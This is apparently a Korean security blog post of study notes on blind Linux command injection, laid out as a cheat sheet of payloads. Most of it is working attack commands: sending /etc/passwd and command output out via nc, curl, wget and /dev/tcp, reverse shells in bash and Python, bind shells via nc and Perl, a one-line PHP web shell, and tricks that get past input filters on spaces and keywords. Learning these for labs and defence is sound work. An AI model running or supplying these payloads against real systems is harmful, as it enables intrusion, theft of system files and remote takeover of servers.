security/웹해킹

Linux Command Injection Technique 정리

민사민서 2023. 7. 15. 21:52

실행 결과를 확인할 수 없는 Command Injection 환경에서의 공격방법

1. Network Outbound

네트워크 도구를 서버에 설치할 수 있거나 설치되어있을 때

 

- nc(netcat), telnet 이용

cat /etc/passwd | nc 127.0.0.1 8000
cat /etc/passwd | telnet 127.0.0.1 8000

 

* 파이프와 함께 명령어의 실행 결과를 네트워크로 전송할 수 있음

 

- curl / wget 이용

curl "http://127.0.0.1:8080/?$(ls -al|base64 -w0)" // GET 요청
curl http://127.0.0.1:8080/ -d "$(ls -al)" // POST 요청
wget http://127.0.0.1:8080 --method=POST --body-data="`ls -al`"

* 웹 서버의 컨텐츠를 가져오는 프로그램, 서버에 남겨진 접속 로그를 확인해 leak

* 웹 서버의 경로 혹은 요청 body에 포함해 데이터를 전송함 (경로에 담길 때는 base64 인코딩해 개행 제거)

 

- /dev/tcp & /dev/udp 이용

cat /etc/passwd > /dev/tcp/127.0.0.1/8080

* bash에서 지원하는 기능으로 네트워크에 연결

 

2. Reverse Shell

공격 대상 서버에서 공격자의 서버로 (역으로) 쉘을 연결하는 것

 

- 공격 대상 서버에서는

/bin/sh -i >& /dev/tcp/127.0.0.1/8080 0>&1
/bin/sh -i >& /dev/udp/127.0.0.1/8080 0>&1

* "/bin/sh -i "에서 생성된 인터랙티브 쉘을 "/dev/tcp/127.0.0.1/8000"로 생성된 특정 TCP 연결에 리다이렉션시킨다

* '0>&1' 표준 입력을 표준 출력으로 리다이렉션한다, 표준 출력은 이미 TCP 연결로 리다이렉션되었다

* 인터랙티브 쉘에 들어오고 나가는 모든 명령어는 TCP 연결을 통해서 간다!!

 

- 공격자의 서버에서는

$ nc -l -p 8080 -k -v
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 42202)
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

* '-l' 옵션을 이용해 listening mode 활성화하며 '-p' 옵션을 이용해 8080 포트에서 들어오는 연결을 받을 준비를 한다

* 이후 연결이 성공적으로 이루어지면 원격에서 공격 대상 서버의 쉘을 실행할 수 있다

 

- 파이썬으로 구현할 수도 있다고 한다

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

3. Bind Shell

공격 대상 서버에서 특정 포트를 open해 쉘을 서비스하는 것

 

- nc 이용해 공격 대상 서버에서 실행

nc -nlvp 8080 -e /bin/sh
ncat -nlvp 8080 -e /bin/sh

* '-e' 옵션을 사용해 연결이 이루어지면 /bin/sh 서비스를 제공(쉘을 실행)하도록 한다

* '-n' 옵션을 사용해 DNS 이름확인 건너뛰고 '-l', '-p' 옵션을 통해 특정 포트에 대해 listening mode를 활성화한다

 

- perl 스크립트를 이용해도 된다고 한다

perl -e 'use Socket;$p=51337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);
for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");
exec("/bin/bash -i");};'

 

4. Using Files

- 특정 위치에 웹쉘 파일 업로드 후 해당 페이지에 접속해 결과 확인

printf '<?=system($_GET[0])?>' > /var/www/html/uploads/shell.php

 

- 정적 리소스를 다루기 위한 폴더인 static file directory에 업로드, /static 폴더 아래 저장

mkdir static; id > static/result.txt

 

입력값 필터링 우회

 

1. 공백(space) 우회

cat${IFS}/etc/passwd
cat$IFS/etc/passwd
X=$'\x20';cat${X}/etc/passwd
X=$'\040';cat${X}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd

* ${IFS}, $IFS 이용, { } 이용 , 리다이렉션 이용

 

2. 키워드 필터링 우회

/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
c''a""t /etc/passwd
\c\a\t /etc/passwd
c${invalid_variable}a${XX}t /etc/passwd

* 프로그램 이름(ex. cat, ls)을 필터링할 경우

 

echo -e "\x69\x64" | sh
echo $'\151\144'| sh

* operand에 들어갈 키워드(ex. id)를 필터링할 경우